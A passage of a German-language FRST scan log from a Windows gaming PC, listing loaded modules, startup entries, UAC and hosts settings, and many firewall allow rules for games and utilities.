2017-04-04 11:20 - 2017-04-04 11:21 - 00019456 _____ () C:\Program Files\WindowsApps\Microsoft.Windows.Photos_17.313.10010.0_x64__8wekyb3d8bbwe\Microsoft.Photos.exe

2017-04-04 11:20 - 2017-04-04 11:21 - 22723584 _____ () C:\Program Files\WindowsApps\Microsoft.Windows.Photos_17.313.10010.0_x64__8wekyb3d8bbwe\Microsoft.Photos.dll

2017-04-04 11:20 - 2017-04-04 11:21 - 00448512 _____ () C:\Program Files\WindowsApps\Microsoft.Windows.Photos_17.313.10010.0_x64__8wekyb3d8bbwe\Microsoft.Photos.AGM.Native.Windows.dll

2017-04-04 11:20 - 2017-04-04 11:21 - 05427200 _____ () C:\Program Files\WindowsApps\Microsoft.Windows.Photos_17.313.10010.0_x64__8wekyb3d8bbwe\MediaEngine.dll

2017-02-15 23:04 - 2017-02-15 23:04 - 00680448 _____ () C:\Program Files\WindowsApps\Microsoft.Windows.Photos_17.313.10010.0_x64__8wekyb3d8bbwe\Microsoft.DesignCore.dll

2017-04-04 11:20 - 2017-04-04 11:21 - 00435712 _____ () C:\Program Files\WindowsApps\Microsoft.Windows.Photos_17.313.10010.0_x64__8wekyb3d8bbwe\Microsoft.RichMedia.Ink.Controls.dll

2017-04-04 11:20 - 2017-04-04 11:21 - 01062400 _____ () C:\Program Files\WindowsApps\Microsoft.Windows.Photos_17.313.10010.0_x64__8wekyb3d8bbwe\Microsoft.Sharing.dll

2016-07-17 01:02 - 2016-07-17 01:02 - 00291328 ____N () C:\Program Files\WindowsApps\Microsoft.Windows.Photos_17.313.10010.0_x64__8wekyb3d8bbwe\StoreRatingPromotion.dll

2017-04-22 04:39 - 2017-04-19 07:03 - 03767640 _____ () C:\Program Files (x86)\Google\Chrome\Application\58.0.3029.81\libglesv2.dll

2017-04-22 04:39 - 2017-04-19 07:03 - 00100696 _____ () C:\Program Files (x86)\Google\Chrome\Application\58.0.3029.81\libegl.dll

2017-02-16 11:04 - 2017-04-27 05:46 - 00035840 _____ () C:\Program Files (x86)\ASUS\AXSP\1.02.00\PEbiosinterface32.dll

2017-02-16 08:09 - 2015-05-08 14:26 - 00104448 _____ () C:\Program Files (x86)\ASUS\AXSP\1.02.00\ATKEX.dll

2017-02-16 02:27 - 2017-03-28 05:32 - 00900032 _____ () C:\Program Files (x86)\NVIDIA Corporation\NvContainer\libprotobuf.dll

2017-03-09 21:46 - 2015-12-14 18:35 - 00058368 _____ () C:\Program Files (x86)\LG Electronics\OnScreen Control\bin\ScreenSplitterHook.dll

2017-03-09 21:46 - 2015-12-14 18:36 - 00012800 _____ () C:\Program Files (x86)\LG Electronics\OnScreen Control\bin\LMMAppHookManager.dll

2017-03-09 21:46 - 2016-05-12 17:13 - 00014336 _____ () C:\Program Files (x86)\LG Electronics\OnScreen Control\bin\Ger_Res.dll

2017-02-16 02:27 - 2017-03-28 05:32 - 65708992 _____ () C:\Program Files (x86)\NVIDIA Corporation\NVIDIA GeForce Experience\libcef.dll

2017-02-16 02:27 - 2017-03-21 06:27 - 02442176 _____ () \\?\C:\Program Files (x86)\NVIDIA Corporation\NvNode\Downloader.node

2017-02-16 02:27 - 2017-03-21 06:27 - 00363576 _____ () \\?\C:\Program Files (x86)\NVIDIA Corporation\NvNode\NVAccountAPINode.node

2017-02-16 02:27 - 2017-03-21 06:27 - 00254008 _____ () \\?\C:\Program Files (x86)\NVIDIA Corporation\NvNode\DriverInstall.node

2017-02-16 02:27 - 2017-03-21 06:27 - 00385592 _____ () \\?\C:\Program Files (x86)\NVIDIA Corporation\NvNode\NvGameShareAPINode.node

2017-02-16 02:27 - 2017-03-21 06:27 - 00469048 _____ () \\?\C:\Program Files (x86)\NVIDIA Corporation\NvNode\NvGalleryAPINode.node

2017-02-16 02:27 - 2017-03-21 06:27 - 00571840 _____ () \\?\C:\Program Files (x86)\NVIDIA Corporation\NvNode\NvSpCapsAPINode.node
 

==================== Alternate Data Streams (Nicht auf der Ausnahmeliste) =========
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird nur der ADS entfernt.)
 
 

==================== Abgesicherter Modus (Nicht auf der Ausnahmeliste) ===================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Der Wert "AlternateShell" wird wiederhergestellt.)
 

HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\NetSetupSvc => ""="Service"
 

==================== Verknüpfungen (Nicht auf der Ausnahmeliste) ===============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt.)
 
 

==================== Internet Explorer Vertrauenswürdig/Eingeschränkt ===============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt.)
 
 

==================== Hosts Inhalt: ===============================
 

(Wenn benötigt kann der Hosts: Schalter in die Fixlist aufgenommen werden um die Hosts Datei zurückzusetzen.)
 

2016-07-16 13:47 - 2017-04-25 05:05 - 00000793 ____A C:\Windows\system32\Drivers\etc\hosts
 
 

==================== Andere Bereiche ============================
 

(Aktuell gibt es keinen automatisierten Fix für diesen Bereich.)
 

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\Control Panel\Desktop\\Wallpaper -> C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper

DNS Servers: 192.168.2.1

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 0) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1)

Windows Firewall ist aktiviert.
 

==================== MSCONFIG/TASK MANAGER Deaktivierte Einträge ==
 

HKLM\...\StartupApproved\Run32: => "SunJavaUpdateSched"

HKLM\...\StartupApproved\Run32: => "Razer Synapse"

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\StartupApproved\StartupFolder: => "hide.me VPN.lnk"

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\StartupApproved\Run: => "OneDrive"

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\StartupApproved\Run: => "Skype"

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\StartupApproved\Run: => "Steam"

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\StartupApproved\Run: => "DAEMON Tools Ultra Agent"

HKU\S-1-5-21-1446151640-2387740664-487604262-1001\...\StartupApproved\Run: => "HP ENVY 4520 series (NET)"
 

==================== Firewall Regeln (Nicht auf der Ausnahmeliste) ===============
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

FirewallRules: [vm-monitoring-nb-session] => (Allow) LPort=139

FirewallRules: [{7D0611DC-87D8-406D-AE24-23F6AA3A9BC8}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{23EFFCF8-E204-486D-8985-35F50AAC7E7A}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B6DDC486-9083-456D-9AC6-5C26257A51A0}] => (Allow) C:\Program Files\Microsoft Office\Office16\UcMapi.exe

FirewallRules: [{4CF0F164-BD6B-4C55-AFB7-05BB77F22C87}] => (Allow) C:\Program Files\Microsoft Office\Office16\UcMapi.exe

FirewallRules: [{6C2F9177-6FED-492E-9E45-4FA394BF35DC}] => (Allow) C:\Program Files\Microsoft Office\Office16\lync.exe

FirewallRules: [{4DFDE64C-22F3-4186-9740-79B05048B7EB}] => (Allow) C:\Program Files\Microsoft Office\Office16\lync.exe

FirewallRules: [{10BA93CD-9F5F-42E9-816A-64A3A52090A6}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{1CE84816-6D3D-4307-A3F0-EE24BBBECEE1}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{49A0F2AB-022F-4EE8-BABD-643CE19CD518}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{01C43216-6CA9-42B2-B799-92D86D3310D2}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{3A79D5B5-B9B8-4A82-8C44-D1C851DBDB8F}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{EEA660A7-3B94-4985-B8C8-9354E6F39A76}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{7AF03405-FD89-40E8-B8B2-FF774C3EC389}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Resident Evil 4\Bin32\bio4.exe

FirewallRules: [{5F065F0C-534B-4829-BC07-C2C79F090803}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\Resident Evil 4\Bin32\bio4.exe

FirewallRules: [UDP Query User{7F2ACCAA-31F6-4848-9005-EF3F45EF5661}C:\users\andy\downloads\downloader_diablo2_lord_of_destruction_dede.exe] => (Allow) C:\users\andy\downloads\downloader_diablo2_lord_of_destruction_dede.exe

FirewallRules: [TCP Query User{4607FD40-C476-4D55-A0E5-299D8D818333}C:\users\andy\downloads\downloader_diablo2_lord_of_destruction_dede.exe] => (Allow) C:\users\andy\downloads\downloader_diablo2_lord_of_destruction_dede.exe

FirewallRules: [UDP Query User{E4C37615-9561-4FEC-B46A-A59061C7DA32}C:\users\andy\downloads\downloader_diablo2_dede.exe] => (Allow) C:\users\andy\downloads\downloader_diablo2_dede.exe

FirewallRules: [TCP Query User{7CB62AEF-5811-40EE-A581-2D8443F49A9A}C:\users\andy\downloads\downloader_diablo2_dede.exe] => (Allow) C:\users\andy\downloads\downloader_diablo2_dede.exe

FirewallRules: [{402B93D0-E69C-4C57-B4ED-57863DBE8E56}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{913E64CD-CEBE-42FC-B75F-50AC52850107}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{A46CEC6C-741C-4F08-B7CE-7B851B4BBC84}D:\program files (x86)\hearthstone\hearthstone.exe] => (Allow) D:\program files (x86)\hearthstone\hearthstone.exe

FirewallRules: [TCP Query User{71F507F3-2C79-42B6-B82D-BB656B193B5C}D:\program files (x86)\hearthstone\hearthstone.exe] => (Allow) D:\program files (x86)\hearthstone\hearthstone.exe

FirewallRules: [UDP Query User{3E7831B8-5AD1-401A-B4FE-FE862779F413}D:\program files (x86)\starcraft ii\versions\base51702\sc2_x64.exe] => (Allow) D:\program files (x86)\starcraft ii\versions\base51702\sc2_x64.exe

FirewallRules: [TCP Query User{AC48CC9C-BEEB-41F8-B6FE-BDE9594E996A}D:\program files (x86)\starcraft ii\versions\base51702\sc2_x64.exe] => (Allow) D:\program files (x86)\starcraft ii\versions\base51702\sc2_x64.exe

FirewallRules: [{E709CF75-200F-4F69-BA64-6DC325D6E4D8}] => (Allow) C:\Program Files (x86)\Apowersoft\Streaming Audio Recorder\ApowersoftVideoHelper.dll

FirewallRules: [{2A97E5CC-CDE3-4833-B786-780A36477E78}] => (Allow) C:\Program Files (x86)\Apowersoft\Streaming Audio Recorder\ApowersoftVideoHelper.dll

FirewallRules: [{5E1D53C5-16C7-41D8-8F60-5C45F1F883E4}] => (Allow) C:\Program Files (x86)\Apowersoft\Streaming Audio Recorder\Streaming Audio Recorder.exe

FirewallRules: [{3B8F01F2-44B4-48F1-893E-F25A6B5A80A6}] => (Allow) C:\Program Files (x86)\Apowersoft\Streaming Audio Recorder\Streaming Audio Recorder.exe

FirewallRules: [{CCCA6BFF-D475-4AB1-8714-67231C30B171}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{801303BD-D483-45F9-8BE4-0C3092210BFA}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{7B2B89EC-B084-4775-909E-1E436A8CCEE0}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{9BC25817-B7F2-4E86-B78C-D190A59CDDC0}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{82DAAF33-AB25-4F77-B2DE-2A08EA76CE8E}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D881E7B1-3C84-4951-9113-200ADD8C57D3}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{437CD7DC-FAA4-46BD-8E05-D2038926F1DB}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{3ADA770B-6B5A-4072-8A7F-7426703317D1}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{A09BC896-94A9-43AF-8349-AF24CBB0E9DB}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{698729B4-F743-4C8D-B638-22B026E7476C}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{31E35830-FF05-4270-B952-45F331BCF7E2}D:\program files (x86)\heroes of the storm\versions\base51779\heroesofthestorm_x64.exe] => (Allow) D:\program files (x86)\heroes of the storm\versions\base51779\heroesofthestorm_x64.exe

FirewallRules: [TCP Query User{02162ABF-48A1-40D9-9FDE-497FCA82022C}D:\program files (x86)\heroes of the storm\versions\base51779\heroesofthestorm_x64.exe] => (Allow) D:\program files (x86)\heroes of the storm\versions\base51779\heroesofthestorm_x64.exe

FirewallRules: [{18052865-7A27-4EB6-87C3-2A124516D252}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{136DA40C-399A-4957-B063-E65635B57C01}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{79DFFE54-2093-4DB7-9DEC-8F1C327CC4A9}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{2D0D03FD-E381-4621-9462-9B866A2A02BE}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B6C1355F-097F-4C1F-B048-FA9D00EC563D}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{4EE80D68-A42F-4644-B2B4-EEFBA1D991C1}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{9372E204-7160-4101-8EC5-940766D5730F}D:\program files (x86)\diablo iii\x64\diablo iii64.exe] => (Allow) D:\program files (x86)\diablo iii\x64\diablo iii64.exe

FirewallRules: [TCP Query User{45C2CE56-998B-426C-975B-4C3F21D71052}D:\program files (x86)\diablo iii\x64\diablo iii64.exe] => (Allow) D:\program files (x86)\diablo iii\x64\diablo iii64.exe

FirewallRules: [{B7E6FEB9-5123-4349-952E-83EC9E0453C1}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{C5047B19-7C93-4444-88E0-CD4595D3C1A3}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{C44C1673-EAB1-4CE1-ABFF-239AA777E102}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B8F5F4CA-9870-4E19-880E-C8E7DDBD5EFD}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{B70DDCB0-378D-4473-BDAD-659DEFA9A185}C:\program files (x86)\battle.net\battle.net.8518\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8518\battle.net.exe

FirewallRules: [TCP Query User{C101FBC7-665A-430C-B94B-4DC081DE017B}C:\program files (x86)\battle.net\battle.net.8518\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8518\battle.net.exe

FirewallRules: [{F5BFB382-48AB-474F-8147-7258DACA99F9}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{2C4FCF9E-6DA7-49B6-9B60-FDCA6DA45A11}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{F3EB37A0-86EC-417D-A277-B84906E63A4F}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{110C40BC-BF07-4859-80D8-725400F0D98A}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{1A38DC04-B5BD-48D9-9981-CD21E114FF5E}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{F4FD4A06-943E-405D-8206-65AC272DF70F}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{1CE8D090-0D11-498B-BDA5-52D143E2DB4A}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{933709EE-90F2-4133-9D31-EAE0B7F8B6A6}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{41579014-8F15-4E76-8760-60834F795ECB}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{C3AB4D8B-CAF0-4B45-87C9-86E62AD4B739}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{79C012EB-D874-4406-BB39-66E16C0045B1}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{F2A0119D-BE15-49A5-9C01-E0A94D44CF4D}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B8B74A98-3A88-42C1-9B54-ED4C8075EDF7}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{ABB92F30-3494-4450-8E17-35E5A51E8841}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{7C367DCA-7076-476E-B6F7-47B2DE4EBE3C}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{8236C729-4359-432B-92BC-59CFF7D77BBB}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{1C0FB2B6-FC5E-49AB-B7C9-E56234A4C918}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{2531BD16-FC00-4CBD-825F-04B4AC574A39}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{C49896D4-6219-4FFD-903A-B4C59FD53960}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{6921994C-A050-4142-A0A7-24309EB0B0CA}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{112D9B6E-C2F2-489C-8485-8A2E4F7D30E3}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{AF9FA2D6-596C-40F0-8827-96CB2BD1D0DD}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B7AD7E15-6155-4676-8EE3-C2C66B5CB20F}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{410FBA75-F1F7-4ED9-822D-311A79FC9E7E}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{6E7793D2-3924-4C1A-93D9-99C631532506}] => (Allow) C:\Program Files\HP\HP ENVY 4520 series\Bin\HPNetworkCommunicatorCom.exe

FirewallRules: [{8901CADF-0B01-4DB1-9DDD-EC0AE6F72C09}] => (Allow) LPort=5357

FirewallRules: [{553C8532-63BC-4FA0-9CF2-3754E35245B0}] => (Allow) C:\Program Files\HP\HP ENVY 4520 series\Bin\DeviceSetup.exe

FirewallRules: [{B454DE81-4121-4D5B-98DA-EB7E3AFC9B72}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{5AA5E766-9343-4B7C-B696-E11CF4FBB799}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{816DA247-8660-4953-AD9E-8B14BFAF8C0B}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{9D866496-087F-472B-B313-E35A702D9D2B}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B0CBE440-855D-4E82-9E61-6D17C1571721}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{2AE9117C-1D43-4ED5-9F29-14117E3429A2}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{4B464F14-9E75-4F33-AB27-7226D29E9678}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{86D9483A-FA99-4ADA-A3EE-E5A6E4E7A2E5}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{AEF76242-CA70-4EDE-B14E-7D8784E4F368}D:\program files (x86)\heroes of the storm\versions\base50950\heroesofthestorm_x64.exe] => (Allow) D:\program files (x86)\heroes of the storm\versions\base50950\heroesofthestorm_x64.exe

FirewallRules: [TCP Query User{EB487EE1-9C70-48AC-97B9-3BFAC06E7121}D:\program files (x86)\heroes of the storm\versions\base50950\heroesofthestorm_x64.exe] => (Allow) D:\program files (x86)\heroes of the storm\versions\base50950\heroesofthestorm_x64.exe

FirewallRules: [{8CBEE266-AD4C-4738-8F28-26CAF7DFA309}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{CFF661B5-5B5E-4986-BD89-45D334143A48}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D0048B4D-1FBB-451B-B630-473D9DE0A5CA}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{AF3DEACA-0759-4C85-96BF-82CF2A16E937}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{339EF314-F39F-44DC-8E53-59D323BE0C9C}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{B8CFE5BA-85C1-47B4-A407-A0BBEAE19FAD}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{6A425000-0AF9-4324-9CFF-5951A4218445}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D4A7932A-C6DF-4C57-A1E4-D0558EC0E462}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{779AFC5C-D10A-4510-9A19-21B6FD3402AE}C:\program files (x86)\battle.net\battle.net.8423\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8423\battle.net.exe

FirewallRules: [TCP Query User{6B25C7B2-DA39-4255-B591-4D64C8CA02A8}C:\program files (x86)\battle.net\battle.net.8423\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8423\battle.net.exe

FirewallRules: [{5D8D978A-DB15-47B5-89D5-734A760B7A51}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{05D000CE-07B9-4974-A174-1C647EAC7543}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D7EBDB01-D5A4-4F07-91D0-9BCB47E43AEF}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D2E6371E-3ACF-4310-960F-6C3CD4F13A37}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{F307D1AF-9A43-457B-9C16-05B86AC42F30}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{47C36104-9481-4D5F-A85F-FADAF2000416}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{CF9D4E0D-6F2B-4493-A82D-7CD572708136}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D89F2BE9-2C07-480B-939A-AA25A677A366}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{FFAD50D1-18C6-479C-9087-C3A173E98A8C}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{BD373ECD-F038-4F23-8DB3-4466231C0FFD}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{2E4F0D97-68D6-4316-AA6D-D243F3BE4E16}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{7771CF6B-9BDE-49BD-A41A-45CCF7C0EEEA}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{D7BD1525-8C65-40B1-AFDD-22174B557C79}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{5D2E7CF4-1357-47BD-B7AD-A63014F4312C}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{15760D5E-0416-4E4C-8CD6-02AA8735EB5F}C:\program files (x86)\overwatch\overwatch.exe] => (Allow) C:\program files (x86)\overwatch\overwatch.exe

FirewallRules: [TCP Query User{331B2A1E-C893-4BD7-8FD1-E9B932FBB7E6}C:\program files (x86)\overwatch\overwatch.exe] => (Allow) C:\program files (x86)\overwatch\overwatch.exe

FirewallRules: [UDP Query User{A15E6547-9B11-4FC2-A44E-89006B71F352}C:\program files (x86)\battle.net\battle.net.8394\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8394\battle.net.exe

FirewallRules: [TCP Query User{ED574F3A-B2C7-4411-82AA-9C158DC2DB9C}C:\program files (x86)\battle.net\battle.net.8394\battle.net.exe] => (Allow) C:\program files (x86)\battle.net\battle.net.8394\battle.net.exe

FirewallRules: [{8E8AA40B-415E-4E76-B615-5E5113246074}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [{F82E75A0-F58C-42DF-A2E2-ED42168F6A8A}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

FirewallRules: [UDP Query User{4EE5130D-729D-4064-B440-1AE1CB6933D3}C:\program files\java\jre1.8.0_121\bin\javaw.exe] => (Allow) C:\program files\java\jre1.8.0_121\bin\javaw.exe

FirewallRules: [TCP Query User{6937723B-70E3-4564-ACAA-ED541548A596}C:\program files\java\jre1.8.0_121\bin\javaw.exe] => (Allow) C:\program files\java\jre1.8.0_121\bin\javaw.exe

FirewallRules: [{D965CBFC-06C7-4D70-9ADC-1AC2077B5B53}] => (Allow) C:\Program Files (x86)\Steam\steamapps\common\dota 2 beta\game\bin\win64\dota2.exe

